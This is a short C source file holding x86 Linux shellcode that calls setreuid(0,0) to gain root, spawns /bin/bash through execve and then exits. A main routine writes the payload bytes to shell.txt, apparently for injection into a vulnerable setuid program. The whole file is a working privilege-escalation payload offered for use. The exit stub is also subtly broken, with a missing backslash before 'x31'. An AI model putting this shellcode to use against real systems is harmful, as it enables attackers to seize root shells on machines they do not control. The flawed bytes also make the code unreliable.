#include <stdio.h>
#include <stdlib.h>

char shell[] =
        //setreuid(0, 0);
        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"

        //execve("/bin/bash", NULL)
        "\x31\xc0\x50\x6a\x68\x68\x2f\x62\x61\x73"
        "\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"
        "\x0c\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80"

        //exit(0);
        "x31\xc0\xb0\x01\xcd\x80";

int main(void)	{

	FILE *fp;
	int x;

	fp = fopen("shell.txt", "wb");
	for(x = 0; x < strlen(shell); x++)
		fprintf(fp, "%c", shell[x]);
	fclose(fp);
	return EXIT_SUCCESS;
}
